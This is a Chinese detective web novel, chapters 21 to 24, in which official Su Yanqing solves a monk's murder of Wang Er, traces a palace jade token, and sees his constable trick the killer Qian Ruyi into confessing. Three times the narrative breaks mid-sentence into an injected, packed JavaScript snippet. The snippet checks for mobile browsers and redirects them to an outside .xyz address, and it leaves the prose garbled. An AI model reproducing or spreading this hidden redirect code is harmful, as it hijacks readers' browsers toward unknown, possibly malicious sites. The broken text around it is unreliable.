“嗯。武公子自从到临安后就一直住在前朝宰相吴淙言的旧宅子里，园子的牌匾也没换过。有人说是他们买下了宅子，手上还有房契。” 苏彦清站起身思忖了片刻道：“去把余晖叫来。” “是。” 窗外檐角的铜铃叮咚作响，苏彦清脑海中又浮现了那女子的面容，竟与武贤弟渐渐重合————那狐疑的眼神，利落的动作，还有偶尔关切的拧眉，如出一辙。她到底是谁呢？武贤弟为何要迁居吴园？还有那混乱记忆中的小女孩……萧哥哥？何故要喊自己萧哥哥，自己明明姓苏。莫非自己的亲生父亲姓萧？那女孩又是谁？她已经不是第一次出现在自己的幻觉中了…… 苏彦清正凝神思索间，陈聘已领着余晖踏入厅内。见人到了，苏彦清抬手做了个手势，陈聘立即会意地清场掩门。余晖偷眼瞧见苏彦清前所未有的肃穆神色，喉结不自觉地滚动了一下。 "听闻你近日将武公子的表弟朱穆接进衙门同住了？"苏彦清指尖轻叩案几，状似随意道，"莫非他自己宅邸住不得了？" "正是。武公子举家回乡，独留朱穆在临安。下官想着衙门厢房空着也是空着......"余晖急忙解释，"大人放心，他的日常用度都从下官俸银里支取。" "银钱倒是小事。"苏彦清忽然将茶盏搁在案上，发出清脆的磕碰声，"只是大理寺终究是办案的所在。这样，我稍后修书一封，送他去苏府暂住。你若想见，随时可去。" "谁、谁想他了？！"余晖耳根倏地烧了起来。 "不想，为何要接来同住？" "那是...那是怕他独居不安全。" "哦？"苏彦清眉峰微挑，"他能有什么危险？" 余晖张了张口，最终只化作一声闷闷的："属下遵命。" "余晖。"苏彦清忽然放轻了声音。 "在？" "你与武公子相识多久了？" 余晖挠着后颈想了想："约莫...三四个月？" "数月之交便能推心置腹，倒是有趣。"苏彦清指尖掠过案上卷宗，"他祖籍何处？家里是做什么的？你们如何结识的？" "似是岭南人士。家里应该是做……生意的吧。我们...是在来临安的官道上偶遇的。" "岭南啊..."苏彦清忽然轻笑一声，"那等烟瘴之地出来的商贾，竟能买下前朝相府。这般家世，想必查起来也不难。" 余晖瞳孔骤然紧缩："大人为何要查他们？" 21. 酒肉破绽 “我何尝愿意疑他。”苏彦清拢了拢袖口，烛火在他眸中跃动。 余晖的手指无意识摩挲着腰间的口袋，忽听苏彦清话锋陡转：“寺丞暗遣眼线盯梢吴园的事，你可知情？” “寺丞大人？”余晖瞳孔猛地收缩，，“莫不是...莫不是因着武大哥协助破获的那几桩悬案？” 苏彦清摇摇头，“不。若真是如此，他大可安排大理寺中的人去调查，何须舍近求远动用江湖势力？”苏彦清忽然起身，青玉镇纸在案上投下浓重阴影。他行至余晖跟前，掌心落在对方肩头时传来沉甸甸的分量：“我并非要你背弃道义，只是这世道如棋局——若他们当真身陷危难，大理寺的虎头铡总比江湖草莽的刀剑更堪托付。 余晖喉间发出压抑的呜咽，突然三指并拢指天：“属下愿以发誓，他们绝对是无辜的受害之人。” “我信你。”苏彦清将青年发颤的手掌轻轻按下，指尖触到对方掌心潮湿的冷汗，“眼下可能为他们做些什么？” “武大哥已...已不知所踪。”余晖盯着地砖缝隙里晃动的烛影，“或许不寻，便是护他周全。” “可总不能躲一辈子...“苏彦清未尽的话语被穿堂风卷散，铜鹤香炉吐出的青烟在空中拧成死结。 酉时的钟声刺破寂静时，陈聘的声音贴着门缝渗入：“大人，余江回来了。” 苏彦清转身时官袍扫过满地碎影：“你先回吧，救人之事还需从长计议——记住，莫要独自涉险。” “诺。”余晖抱拳退至门边，转身时瞥见苏彦清案头的梅花簪，忍不住多瞧了两眼。 屋外突然雨丝淅沥，打在大理寺冰冷的青瓦上。余江浑身湿透，僧袍下摆还沾着厨房的油垢，连滚带爬地撞进西跨院时，正见苏彦清对着一盏孤灯愣神。 “苏、苏大人！”他牙齿打颤，扑通跪倒在青砖上，膝盖磕出闷响，“大人，真的杀人了！杀人的是大师兄！” 苏彦清站起身来，墨色广袖拂过案几。”说来听听。”苏彦清递过干帕子，目光如炬，“你如何确定是大师兄？” 余江抓着帕子猛擦油汗，指缝间漏出亢奋的字句：“都怪我太‘殷勤’了！”他咧着嘴，露出后槽牙上沾的肉渣，“这几日我天天给大师兄端洗脚水、擦僧鞋，昨儿夜里他一高兴，竟带我去后山洞喝酒！您猜他掏出什么下酒？” 他哆嗦着解开僧袍内衬，摸出半块啃剩的酱牛肉——油纸包裹上赫然印着“李记肉铺“的火漆，那是西街最有名的铺子。”大师兄边啃边骂：“那龟儿子王二，还想揣着金银躲进庙？老子轻轻一握就掐死了他，这牛肉就着他的银子买的，真香！’“ 苏彦清指尖微顿，尸格上记载王二正是被掐死的。他抬眼看向余江袖口蹭的酒渍：“他还说了什么？” “说漏嘴的可多了！”余江压低声音，像只偷到米的耗子，“他喝高了就拍着钱袋吹牛，说王二包里的铜币已经被花完了，剩下的金银被他拿去钱庄存起来了，谁也偷不走。”余江边说边从僧袍领子里扯出一缕断发。”这是我今早帮他收拾僧床时，从草席缝里拽出来的！”苏彦清望着这发尾的银线绳结，再翻开王二的画像，果然是他常系的同款发带。 话音未落，院外突然传来急促的脚步声。陈聘急匆匆冲进来：“大人！王二生前的客栈掌柜在打扫时，找出了这东西——“一个皱巴巴的纸条，上面写着“走得越远越好。” “看来，可能不是灭口。可这大师兄为何认识王二呢？”苏彦卿自言自语。 “这我知道。据说他们年轻的时候就认识。” “据说，据谁说？” “他自己说的。” “他可有细说？” “没有。” 暴雨倾泻如瀑，檐角铜铃在狂风中凄厉作响。苏彦清五指几乎将那张浸透墨迹的密信揉碎，指节因用力泛起青白：“陈聘！调集大理寺所有在值胥吏，封死径山寺九门十二道！”他猛然转身，官袍扫过明灯，烛影在余江惨白的脸上狰狞跃动，““你确定他把赃款存到钱庄了？” “千真万确！”余江嗓音发颤，恍惚又见后山洞窟里那些蛛网密布的酒坛。大师兄的僧靴踹翻空坛时，裹着油纸的包裹滚了出来，大师兄当着他的面打开了，里面都是会票。”他说…说等风声过了，便拿这些银钱还俗娶妻……“ 三刻钟后，惊雷劈开墨色苍穹。径山寺后山酒窖里，陈年酒香混着霉腐气息扑面而来。余江瑟缩在苏彦清身后，看胥吏们撬开最里层酒坛——“哗啦“一声，泛着桐油味的会票如雪片纷落，余堂钱庄的朱砂印在火把下红得刺眼。 “好个六根清净的佛门弟子！”苏彦清一脚踹开地牢铁门。慧贤镣铐叮当，酒气随着剧烈挣扎蒸腾而出，赤红双目死死盯着余江：“早知你是条养不熟的白眼狼！”余江踉跄后退，后腰撞上刑架，铁链相击声惊起暗处鼠群窜逃。 公堂之上，王二的发绳、李记肉铺的油纸、以及来历不明的会票，并排陈于香案。苏彦清指尖掠过会票边沿的暗纹，忽将惊堂木拍得震响：“王二携赃银途经后山，你见财起意杀人灭口，可还要狡辩！” “单凭这小畜生红口白牙……“ “带人证！” 木门“吱呀“洞开，四个小和尚踩着湿漉僧鞋挪进堂内，为首者脖颈还留着戒尺抽打的旧疤。”诸位小师父，“苏彦清执起案头佛珠，“佛曰不妄语。若如实相告，本官自会护你们周全。” “大师兄…大师兄那夜提着一包金银细软回来，说超度了个孽障。”小和尚话音未落，慧贤已暴起嘶吼：“秃驴崽子也敢污蔑佛爷！” “你也配提佛字？”苏彦清冷笑掷出佛珠，檀木串绳在空中绷断，珠子噼里啪啦砸在慧贤光头上，“对师弟动辄打骂，对香客敲骨吸髓，连佛祖灯油钱都贪——“他忽然俯身掐住慧贤下颌，“本官好奇的是，你怎会认得王二这等府院老仆？” 慧贤瞳孔骤缩，冷汗混着残酒滴落供桌。堂外惊雷炸响刹那，他忽然瘫软如泥：“我招！王二是我杀的！求大人给个痛快！” 苏彦清眯眼审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763205|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着地上那团颤抖的僧袍，忽见其袖口隐约透出半截刺青——似是江湖盗匪的标记。”押入水牢，严加看管。”胥吏们将慧贤捆了下去。 “小师父，可知那位慧贤是何时入的寺？”堂下烛火曳动，映得苏彦清袍角的暗纹忽明忽灭。 阶前立着的小沙弥合掌垂首，指尖绞着僧袍褶皱：“约莫十几年前的事了，反正我等入寺时，他便已在寺中修行。这内情，还得问住持师父才清楚。” 苏彦清点点头，胥吏们将几个小和尚送了出去。青石板上响起靴底擦过的轻响，两名胥吏引着小沙弥退至月洞门时，忽听身后传来指节叩击木案的声响。苏彦清指尖轻捏起一角沾着暗红酒渍的会票，就着烛火轻吹两下，票面上“余堂钱庄“的朱印在摇曳光影里泛着油光。 “余江，“他忽然抬眼，烛火在瞳孔里碎成两星寒芒，“明日随我去会会那位钱庄东家。”话音落时，窗外夜风卷着松涛灌入堂中，案上散落的供果被吹得骨碌碌滚动，惊得梁间栖息的夜枭发出一声清越啼鸣。 余江躲在柱子后，瑟瑟发抖，见其一言不发，苏彦清蹲下来盯着他眼睛说：“你做得很好。靠察言观色从凶手嘴里套出真相，比见尸体更需要胆子。”他顿了顿，从袖中取出一锭银子塞进余江手里，以后别再小偷小摸了，谋个正经差事。” 余江捧着银子，上面还带着大人的温度。窗外的雨渐渐停了，街边的灯笼渐渐一家家支了起来。大理寺的獬豸铜像在夜色中投下影子，映着他沾满油垢却不再发抖的手。原来不偷东西，只靠听墙角和端洗脚水，也能让杀人凶手落网——这事儿，够他跟发小们吹上三年了。 当晚，苏彦清安排余江留宿大理寺，自己则在铁卷阁查了一整晚。 夜漏三更时分，铁卷阁的窗棂映出狭长灯影。苏彦清将最后一叠卷宗推至案角，指腹碾过砚台边缘的冰碴，忽听东厢传来余晖压低的咳嗽声——他与余江合住的耳房里，烛火还亮着豆大一点光。 檀木书架在身后投下嶙峋阴影，苏彦清揉了揉眉心，。虽然王二被杀案已结，但是王二为何残害秋燕？慧贤与王二因何认识？还有他骤然认罪时躲闪的眼神？他身上的标记是什么？这桩已结的命案像团浸透墨汁的棉絮，越想拧干越有黑水渗出。 当第十九本《刑案录》的封皮在指尖磨出毛边时，卷末夹着的半张羊皮图突然簌簌作响。苏彦清就着摇曳烛火凑近，只见图中刺青图样在昏黄光影里扭曲如活物——九道缠绕的蛟鳞下，果然刻着“九蛟堂“三个篆字。这组织专替京中勋贵处理阴私勾当，十年前曾在一桩贪腐案中留下过同样的图腾。 “莫非——王二也是——不对，他身上没有图腾。也许，王二在阎涉府上的时候，与九蛟堂有过交集。可是九蛟堂的人怎么会在径山寺呢？”他指尖叩击着图中蛟首，砚台里的残墨突然泛起涟漪。夜风突然撞开虚掩的窗扇，卷着檐角铜铃的声响灌入阁中，案上羊皮图猛地翻卷，露出背面用朱砂勾勒的临安城地形图——径山寺的地标上正被朱砂点了个狰狞的血点。 22. 玉珏迷踪 五更的梆子声刚过，朱雀大街的晨雾还未完全散去，苏彦清已带着余江立在余堂钱庄的黑漆大门前。苏彦清一身月白锦袍，外罩墨色披风，眉宇间带着一丝未散的倦意。 苏彦清正欲开口，钱庄厚重的木门“吱呀“一声开了条缝，露出个睡眼惺忪的伙计。一见苏彦清腰间的大理寺令牌，伙计瞬间清醒，慌忙将门拉开：“是苏大人！快请进，掌柜的刚起呢。” 钱庄内光线略暗，空气中弥漫着檀香与铜钱的混合气息。正中的柜台后，一个圆滚滚的中年男子正捧着茶碗漱口，见是苏彦清，连忙放下茶碗，堆起满脸褶子迎上来：“哎哟，这不是苏少卿吗？今儿个怎么有空临幸小老儿的钱庄？” 此人便是余堂钱庄的老板余富，在京城地界经营多年，见惯了达官显贵，说话总带着三分油滑。苏彦清也不客套，直入正题：“余老板，昨日我差人递了帖子，想查一查近日有无一个法号慧贤的和尚来此存钱。” 余富脸上的笑容僵了一下，捻着胡须打哈哈：“慧贤师父啊……倒是来过几次，出家人嘛，偶尔有些香火钱存着也正常。”他说着，眼神却有些闪烁，手指无意识地摩挲着腰间悬挂的一枚玉环。 苏彦清一眼便捕捉到他的小动作，目光落在那枚玉环上——那是一枚羊脂白玉雕琢的双鱼环，玉质温润，雕工古朴，环身刻着细密的缠枝莲纹，样式极少见。他心中微动，面上却不动声色：“余老板这玉环倒是别致，看着不像寻常物件。” 余富下意识地将玉环往腰间拽了拽，干笑两声：“苏大人好眼力，这是……是十年前一个老主顾当在这里的，小老儿看着喜欢，就一直戴着把玩。”他顿了顿，像是突然想起什么，又凑近苏彦清，压低声音，故作轻松地说，“说起来也巧，除了慧贤大师兄，他们径山寺的主持圆空大师，也时常来小老儿这里存钱呢，每次都是单独来，神神秘秘的。” 这话如同一颗石子投入平静的湖面，苏彦清与余江对视一眼，都看到了对方眼中的讶异。慧贤涉案，主持竟也有可疑？苏彦清不动声色地追问：“哦？圆空主持也来存钱？不知余老板可否告知，他存的数目如何？” “这……“余富面露难色，“小老儿做的是生意，主顾的银钱数目乃是机密。不过嘛……“他话锋一转，又看向腰间的玉环，“说起来，这玉环便是十年前老住持圆寂前，让圆空主持拿来当的。当时老住持病得厉害，圆空主持说是为了筹钱抓药，可这玉珏一看就是贵重之物，小老儿当时还多问了一句，圆空主持只说是家传之物，让小老儿务必保密。” 苏彦清的目光再次紧锁在那双鱼玉环上，一股莫名的熟悉感涌上心头。他努力回想，却一时想不起在何处见过类似的物件。是在舅舅的书房？还是某次宫中宴会上？他定了定神，语气和缓了些：“余老板，实不相瞒，这玉环或许与我手头的案子有些关联，能否借我带回府中，仔细辨认一二？明日必定完璧归赵。” 余富脸色微变，显然有些不舍，但看着苏彦清眼中不容置疑的神色，又想到大理寺的权势，只得连连点头：“大人言重了，既然与案子有关，小老儿自当配合。只是这玉珏……还请大人务必小心保管。”他说着，解下玉环，用一块素绢仔细包好，双手递给苏彦清。 苏彦清接过玉珏，入手温润，触手生凉，那缠枝莲纹的刻痕似乎藏着某种隐秘的纹路。他将玉珏收进袖中，对余富道了谢，这才转身离开。 从余堂钱庄出来，已是辰时初刻。春日的阳光透过薄雾洒在青石板路上，苏彦清却无心欣赏街景，心中反复琢磨着余富的话。慧贤、圆空、玉珏……这三者之间究竟有何联系？为何这玉珏会让他如此眼熟？ 他没有回大理寺，而是径直驱马前往御史台苏府。苏府门前的石狮子在阳光下泛着冷光，守门的老仆一见是苏彦清，连忙笑脸相迎：“少爷回来啦！老爷和夫人正在前厅用早膳呢。” 苏彦清点点头，翻身下马，将缰绳递给仆役，快步走进府中。穿过种满翠竹的庭院，便听到前厅传来舅母温婉的声音：“……老爷，你也别总说他，彦清如今在大理寺办差，哪能事事都顾得上家里。” “顾不上？他是连命都快顾不上了！“舅舅苏淳礼的声音带着怒意，“前儿个大理寺中毒，要不是有属下略通医术，他现在还能不能站着说话都两说！“苏淳礼怒声道。 “诶，好像不是属下，是他的什么朋友。”苏夫人柳氏低语道。 “他有交朋友的时间，都不回来看我们两眼。还有上次阎相设的鸿门宴，明摆着要刁难他，得亏他福大命大……“ 苏彦清在廊下顿了顿，深吸一口气，这才掀帘走进前厅：“舅舅，舅母，外甥回来了。” 苏淳礼年近五旬，身着常服，面容清癯，此刻眉头紧锁，见了苏彦清，脸色更沉：“你还知道回来？” 苏彦清走到桌前，先给舅母请了安，这才转向舅舅，赔笑道：“舅舅息怒，外甥这不是回来了嘛。前儿个那事纯属意外，至于阎相那边，外甥心里有数。” “你心里有数？”苏淳礼一拍桌子，震得碗碟叮当作响，“我看你是越来越没数了！让你上元节回家你也不回。” “那不是被阎相请去了么。”苏彦清小声嘀咕道。 舅母柳氏连忙拉住他：“老爷，有话好好说，彦清刚回来，先让他吃点东西。”她又转向苏彦清，眼中满是关切，“彦清，你舅舅也是担心你，你如今身处风口浪尖，凡事都要多加小心。” 苏彦清心中一暖，知道舅舅舅母是真心为他着想。他正想再解释几句，忽然想起袖中的玉珏，便说道：“舅舅，舅母，外甥今日来，除了给你们请安，还有一事想请教。”他从袖中取出那方素绢，打开，露出里面的双鱼玉环。 “这是……“柳氏一眼看到玉环，脸色微变，“彦清，你这玉珏是从何处得来的？” 苏彦清连忙道：“是从一家钱庄借的，舅母可认得这玉珏？” 柳氏定了定神，伸出手，小心翼翼地拿起玉珏，对着光线仔细端详，眼中满是惊讶：“这是十多年前，先皇在位时，赏给京城几位大员夫人的信物！“ “先皇赏赐？”苏彦清吃了一惊。 柳氏点点头，语气带着一丝回忆的悠远：“是啊，那年先皇为贺皇后生辰，特意命尚宫局打造了十二枚双鱼玉珏，赏给了几位夫人。这玉珏材质珍贵，雕工更是出自宫中巧匠之手，我当时也得了一枚，不过给你表姐当了嫁妆。”她将玉珏递给苏淳礼：“老爷，你还记吗？” 苏淳礼接过玉珏，仔细看了半晌，眉头皱得更紧：“在这女人家的东西，我记得不是太清楚，不过确有此事。只是先皇赏赐的玉珏，怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763206|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会到钱庄呢？” “不仅到了钱庄，还是一个径山寺的住持在十年前典当的。” 苏淳礼更觉诧异：“寺庙住持？还被当了出去？” 苏彦清心中的疑团越来越大：“舅母，您确定这玉珏是先皇赏赐的？那当年受赏的夫人，除了您，有哪些人？” 柳氏想了想：“还有吏部尚书夫人、户部侍郎夫人……哦，对了，还有阎相的夫人。只是这些年物是人非，她们有的随夫外放，有的早已故去。” 苏淳礼将玉珏放在桌上，看着苏彦清，神色严肃：“彦清，这玉珏之事非同小可，先皇赏赐之物流落民间，甚至进了寺庙，其中必有隐情。你老实告诉我，这玉珏到底是怎么回事？你最近查的案子，是不是也卷进了什么不该碰的浑水？” 苏彦清不敢隐瞒，将慧贤抢夺案、余堂钱庄查账、以及余富提到圆空主持也来存钱，并拿出这玉珏的事情，一五一十地说了一遍。 “径山寺主持？”苏淳礼脸色沉得像要滴出水来，“径山寺一向号称清修之地，怎么会牵扯到抢夺案里？还有这圆空，竟然拿着先皇赏赐的玉珏去当铺换钱，他到底想做什么？” 柳氏也忧心忡忡：“彦清，听你这么一说，这案子怕是不简单。既然已经查出来慧贤就是凶手，此案就此作罢。” 苏淳礼放下茶盏时指节发白：“当初你说要去大理寺，我整夜合不上眼。”青瓷底轻磕案面，“刀刃上走马的人，偏要把血淋淋的案子当家常饭。” “舅舅......“苏彦清话音未落，便被一声叹息截断。 “上月圣上问及刑部旧案重审，特意提了你行事太疾。”老御史揉着眉心细纹，“你是不是觉得御史台这杆枪能永远替你挡着暗箭？” 柳氏绞着帕子轻叹：“听你舅舅的，搬回来住吧。” 苏彦清喉间发涩。正欲解释时忽见苏淳礼从袖中取出两封花笺：“两个法子——搬回来住，或者......“染了墨渍的指尖轻点描金笺面，“让你舅母带你去见几位姑娘。” “相看？”苏彦清被热茶呛得咳嗽。 “刑部张侍郎家的千金，翰林院陈学士的侄女......“柳氏从袖中抖出烫金名帖，“成了家有人知冷知热，我们也不必日日悬心。” 苏彦清盯着笺上清秀小楷。搬回这雕梁画栋的牢笼自不可能，可相看......烛芯突然爆出朵灯花，映得他耳尖发烫：“那便......相看罢。” “好！好！那就先看这个张家的小姐。”苏淳礼连说三个好字，眼角皱纹里漫出笑意，“过几日回府里来，我叫人备好你爱吃的蟹粉酥。” 苏彦清望着两位长辈盈盈的笑靥，心中正自惭愧，却见陈聘急步近前，躬身一礼，低声道：“大人，借一步说话。”待二人行至廊下僻静处，陈聘方肃然禀道：“大人，那如意坊钱掌柜果然在缘来客栈，兄弟们按计蹲守客栈数日，昨日有严相之人欲与钱掌柜送钱，现下已为我等所擒！” 苏大人眸光一凛：“可曾打草惊蛇？” “不曾。”陈聘低声道。 苏大人闻言，默然踱步数巡，忽而止步，招手令陈聘近前，附耳密嘱良久。 就在这时，窗外传来一阵极轻微的衣袂摩擦声。苏彦清眼角余光瞥见廊下绿植的阴影里是朱穆远去的背影。 23. 伪令破忠 吉水县，缘来客栈。 顶楼那间常年挂着“琴具库房，闲人免进”牌子的房间，此刻门窗紧闭。钱如意自从逃回吉水后，就如同阴沟里的老鼠一般不敢见天日，日日焦躁地在狭小的空间里踱步。 客栈内外，看似平静，实则暗流汹涌。大理寺的暗桩早已布下，如同无形的蛛网，将缘来客栈牢牢罩住。捕头陈聘在不远处一间不起眼的民房里，指节轻轻叩着桌面。 “大人，人带来了。”一捕快低声禀报，将一个面如土色、浑身筛糠的中年汉子推了进来。正是严甫申派来送钱的信使。 陈聘打量了一番来人，沉声道：“严相心狠手辣，你既落入我手，他必疑你反水。纵使你今日侥幸脱身，回到相府，也是死路一条。为严老办事的人，结局如何，想必你比我更清楚。” 信使后背瞬间被冷汗浸透。他虽只是送信跑腿的小卒，却深知相爷的规矩——那是动辄要人性命的铁律！ “想活命吗？”陈聘幽幽道，“替我演一出戏。成了，大理寺保你性命无忧，甚至可让你远走高飞；不成，或是耍花样……”他顿了顿，指尖划过自己的咽喉，动作轻描淡写，却令人胆寒。 信使扑通跪倒：“大人饶命！小的……小的愿听大人吩咐！” 陈聘嘴角勾起一丝不易察觉的弧度，俯身在信使耳边低语…… “记住，”陈聘眼神锐利如刀，“钱如意生性多疑。对他，你要极尽傲慢强硬，视如敝履！字字句句透出相爷的失望——乃至杀心！要让他深信，非是大理寺拿他，是其效忠之主，欲取其命！待其濒死反扑，必露马脚！” 信使被几个捕快抓着反复演练，直到他那惊恐的脸上也勉强能挤出一丝属于“相爷心腹”的刻薄与狠戾。 黄昏时分，缘来客栈顶楼。 “笃…笃笃…笃…”三长两短的叩门声，，如同鬼魅的低语，在寂静中格外清晰。钱如意的肌肉瞬间绷紧，手无声地滑向腰间的短匕。这是约定的暗号，相爷终于命人送钱来了。 房门被推开一道缝隙，门外是那张见过的送钱面孔，但今日这张脸却带着一种前所未有的冷漠和倨傲。 信使闪身进屋，反手关上门。他没有像往常一样恭敬地奉上钱袋，而是冷冷地将一个沉甸甸的布袋随意丢在脚边的地上，发出沉闷的声响。钱如意眉头一皱。 “钱如意，”信使的声音像是淬了冰，“相爷钧旨。” 钱如意心中一凛，躬身道：“属下在。” 信使找了一处椅子端坐下来，装模作样道：“相爷说了，你办事，太让相爷失望了！” 钱如意猛地抬头，眼中闪过一丝惊疑：“属下……属下不明白！醉仙阁之事，属下已处理干净！” “干净？”信使陡然拔高音调，声音透过不算太厚的门板，清晰地传到了门外长廊尽头的陈聘耳中，“大理寺在楚芸儿那贱婢的尸身上，还有一旁散落的手帕上都验出了毒！相爷震怒，疑你办事不力，故意留下线索，其心可诛！” 钱如意如遭雷击，脸色瞬间煞白，失声道：“不可能！那手帕我明明……”他话到嘴边，硬生生刹住，但“明明”二字和那急切否认的语气，已足够令陈聘激动不已——他果然用了毒手帕！ “明明什么？明明收走了？”信使按照陈聘的剧本，步步紧逼，脸上是毫不掩饰的鄙夷，“收走了还会被验出来？废物！相爷还说，你灭口之时，弹那首该死的岭南乡音，简直是愚不可及！你说你弹什么不好？而且你将那自缢之处与琴隔得如此之远，你这般行事，是怕别人不知道她不是自缢的吗？”信使越说越激动，唾沫星子几乎喷到钱如意脸上。 钱如意的忠诚被这劈头盖脸的污蔑和羞辱彻底点燃，一股邪火直冲顶门。 “放屁！”钱如意再也按捺不住，双目赤红，猛地向前一步，几乎要揪住信使的衣领，“我弹琴是为了掩盖动静！老子算准了时辰，琴声一停，老子立刻就从那扇窗户跳出去了！那蠢侍女推门进来，只看到老子挂好的‘自缢’现场！谁知道那娘们推得那么早！ 信使被他吼得下意识后退一步，但想起陈聘的交代和自身的处境，也故作厉声道：“哼！谁知道？真是放你娘的狗屁！那手帕你总抵赖不了！” 钱如意继续道：“那毒手帕，老子迷晕她之后立刻就收回了袖中！或许，或许是不小心掉了下来，我又不是存心的！如今我哪儿都去不了，这阁楼跟大理寺的水牢有什么区别，你这黄口小子天天在外面逍遥快活，此时还敢这般说教于我！” 他愤怒地咆哮着，每一个字都清晰地穿透了墙壁。陈聘身旁的录事参军飞快地记录着：“亲口承认弹琴掩盖……承认琴停即跳窗……承认承认伪造自缢现场……使用毒手帕迷晕……” 信使奋力扯开对方的手，继续道：“相爷说你留了破绽就是留了！你这等成事不足败事有余的废物，留你何用？相爷有令，念在你多年效力，赐你全尸！这袋钱，就是你的买命钱！你自己了断吧！事后我会拿着这钱给你找个结实点的棺材，倘若你客气一点，兴许我会将剩下的带给你的家眷。” “自己了断？”钱如意的额头青筋暴起，“老子为相爷出生入死，灭口除患！楚芸儿是老子亲手挂上去的！现在你们竟要灭老子的口？相爷！你好狠的心！还有你这狗仗人势的东西！”他抄起手边一个沉重的琴架，狠狠砸向信使，“想杀老子？老子先宰了你！” “砰！”信使闪至一边，琴架砸在一把石凳上，火星四溅。两人瞬间扭打在一起，桌椅翻倒，怒骂声、打斗声、钱如意歇斯底里地吼叫着“我为相爷灭口！他竟如此对我！”信使挣扎中回道：“你早该知道会有今日！”两人打斗喊骂声混杂成一片，清晰地传遍了顶楼走廊。 “动手！”一直潜伏在楼梯口的陈聘，听到钱如意那句“我为相爷灭口”后，眼中精光一闪，果断下令。 “砰！”房门被大力撞开！ “大理寺办案！住手！”数名如狼似虎的捕快瞬间涌入，寒光闪闪的刀锋将扭打的两人死死分开，按倒在地。 钱如意被死死压在地上，脸贴着冰冷的地板，方才的狂怒如同潮水般退去，只剩下刺骨的冰凉和绝望。他抬眼，看到陈聘缓步走了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763207|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，那双眼睛正冷冷地俯视着他，嘴角似乎带着一丝嘲弄。 陈聘的目光扫过地上挣扎的信使，故意朗声道：“此人举报有功，协助大理寺擒获要犯，本官自会向圣上禀明，从轻发落。” 这句话如同最后一根稻草，狠狠砸在钱如意的心上，他猛地看向那个还在瑟瑟发抖的信使，眼中充满了被彻底背叛的怨毒和疯狂：“是你！是你这狗贼假传指令！陷害老子！相爷不会放过你的！放开我！老子什么都没做！” 陈聘蹲下身，看着钱如意因愤怒和恐惧而扭曲的脸：“什么都没做？可你方才的‘忠心自辩’，这客栈上下，可都听得清清楚楚。你为谁灭的口，大家也都心知肚明了。” 钱如意的瞳孔骤然收缩，浑身如坠冰窟。 陈聘站起身来，厉声道：“来人，给我搜！他们两个，带回大理寺！” 几日后，大理寺内，陈聘迅速命人将查获的物证一一呈上，“大人料事如神，卑职已按大人的吩咐将钱如意抓捕归案。” 苏彦清飞速翻阅证物，时而瞳孔骤缩，时而指节因愤怒而发白，“啪！”忽然一掌怒拍桌案，震得茶盏滚落碎裂。“好个钱如意！”他眼中寒芒暴射，厉声道：“陈聘！即刻升堂！把钱如意押上来！还有……将之前的人证都带上来！” “是！”陈聘抱剑匆匆而下。 不过一炷香的时间，陈聘便领着钱如意、醉仙楼的琴师等相关人上。 檀香袅袅，却压不住公堂之上弥漫的肃杀之气。苏彦清端坐堂上，目光如电，扫视着堂下被两名衙役按住的嫌犯——钱如意。只见其镣铐加身，跪在堂下，脸上被抓捕时的疯狂已褪去，取而代之的是一种阴冷的镇定。 苏彦清眼神锐利如鹰，厉声喝道：“取纸笔！让他画押具结！详录口供！” 钱如意见状，一边挣扎，一边大喊：“大人，冤枉啊！您不可逼供啊！” “钱如意，”苏彦清的声音不高，却清晰地穿透整个公堂，带着不容置疑的威严，“本官手上有着你亲口承认的罪行，本月初三，酉时三刻，你以沾染毒药的手帕迷晕醉仙楼的乐姬楚芸儿，然后将她吊于其琴房内，伪造‘自缢’身亡之状，你可知罪？！” 钱如意咽了口唾沫道：“回禀青天大老爷，大人不要血口喷人呀！”钱如意猛地抬头，一脸无辜状，“什么毒手帕？什么迷晕芸儿？什么弹琴掩护？小人不知道大人在说什么！” “钱如意！你亲口所说，还敢狡辩！”陈聘握刀的手有些发抖。 钱如意望了陈聘一眼道：“都是你们设下的圈套！说不定，那信使就是你们的人假扮的！你们还在周围藏了人？” 见气极的陈聘又欲开口，苏彦清挥手拦住，追问道：“你说那信使是假的，那他为何能准确说出与你接头的暗号？为何又能轻易找到你？” 钱如意眼珠子一提溜，轻笑道：“就算这信使如假包换，但或许你们严刑逼供他呢，然后诱我说出那些话来！” 陈聘怒不可遏，厉声道：“诱你又如何？所谓兵不厌诈，你若没有犯的事，我们又如何诱得了你？” 24. 自吞孽果 